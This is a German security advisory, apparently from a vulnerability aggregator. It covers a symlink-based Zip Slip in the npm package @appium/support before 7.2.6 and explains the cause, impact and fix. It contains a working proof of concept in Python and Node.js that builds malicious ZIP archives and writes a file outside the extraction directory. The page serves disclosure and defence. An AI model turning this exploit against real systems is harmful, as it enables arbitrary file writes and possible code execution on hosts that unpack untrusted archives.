Mittel

Appium: Symlink-basierter Zip Slip beim Entpacken von ZIP-Dateien in @appium/support

  • Veröffentlicht: 15.10.2026
  • Aktualisiert: 20.10.2026 08:34

Zusammenfassung

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) war ein einfacher Path-Traversal-Fehler im Eintragsnamen. Die Überprüfung erstellte ein Error-Objekt, ohne dieses zu werfen, sodass ein Eintrag mit einem Namen wie ../evil.txt außerhalb des Zielverzeichnisses geschrieben wurde. Dieses Problem wurde in @appium/support 7.0.6 behoben, indem unzulässige Eintragsnamen tatsächlich abgewiesen werden.

Dieser Befund betrifft einen anderen Angriffsvektor, der durch den Fix in 7.0.6 nicht abgedeckt wird. Die Eintragsnamen im Archiv sind hier vollkommen legitim (beispielsweise pwn und pwn/owned.txt, nirgends ..), weshalb jede namensbasierte Prüfung greift und sie akzeptiert. Der Ausbruch erfolgt über einen symbolischen Link. Ein Eintrag ist ein Symlink, dessen Ziel außerhalb des Entpackungsverzeichnisses liegt, und ein nachfolgender Eintrag ist eine reguläre Datei, deren Pfad über diesen Symlink aufgelöst wird. Die namensbasierte Prüfung überprüft das Ziel des Symlinks nicht, und der Entpacker übernimmt das Symlink-Ziel unverändert, wodurch die Datei außerhalb des Zielverzeichnisses geschrieben wird.

Vergleich der beiden Probleme auf der gepatchten Version 7.2.5:

CVE-2026-30973 Dieser Befund
Vektor Ein Eintrag, dessen Name .. enthält Ein Symlink-Eintrag plus eine darüber geschriebene Datei
Eintragsnamen Enthalten .. (ungültig) Legitim, kein .. und nicht absolut
Fehlendes Verhalten Die .. Namensprüfung warf keinen Fehler Namensprüfungen lösen keine Symlinks auf und das Ziel bleibt ungeprüft
Benötigte Einträge Einer Zwei
Behoben in 7.0.6 Ja Nein
Status unter 7.2.5 Blockiert Weiterhin ausnutzbar (unten nachgewiesen)

Details

Ursache

Der Entpacker führt lediglich eine lexikalische Pfadprüfung für den Namen jedes Eintrags durch. Bei einem Symlink-Eintrag wird der Link mit dem Ziel direkt aus dem Archiv erstellt:

js
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath vergleicht normalisierte Zeichenketten und ruft nicht realpath auf. Daher liegt das Ziel dir/pwn/owned.txt für den Dateieintrag pwn/owned.txt lexikalisch innerhalb von dir, und die Prüfung ist erfolgreich, obwohl dir/pwn ein durch den vorherigen Eintrag erstellter Symlink ist, der aus dir herauszeigt. Der Schreibvorgang folgt diesem Symlink und verlässt das Verzeichnis. Das Symlink-Ziel wird zu keinem Zeitpunkt gegen das Basisverzeichnis validiert.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

python
#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslip_poc.js

js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use

Auswirkungen

Ein Angreifer, der die von Appium entpackten Archive kontrolliert, kann Dateien an beliebigen Orten schreiben, für die der Appium-Prozess Schreibrechte besitzt, da der Schreibvorgang dem Symlink zu jedem beliebigen Ziel folgt. Abhängig davon, wo Appium ausgeführt wird, können Konfigurationsdateien überschrieben, Skripte in Autostart- oder Profilpfade abgelegt oder Binärdateien im PATH ersetzt werden, was zur Ausführung von beliebigem Code führen kann. Auf einem CI-Runner oder einem Device-Farm-Host betrifft dies alle Pfade, auf die das Dienstkonto Schreibzugriff hat.

Was zu tun ist

Aktualisieren Sie @appium/support auf Version 7.2.6 oder neuer.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @appium/support < 7.2.6 7.2.6

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Schwäche (CWE)
CWE-59
Plattform
npm
Paket
@appium/support
Veröffentlicht
15.10.2026
Aktualisiert
20.10.2026 08:34

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0

Schwachstellenhistorie: @appium/support

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
03.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Appium: Symlink-basierter Zip Slip beim Entpacken von ZIP-Dateien in @appium/support dieser Eintrag
    Mittel · 6.5 CVE-2026-103975 < 7.2.6 7.2.6

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.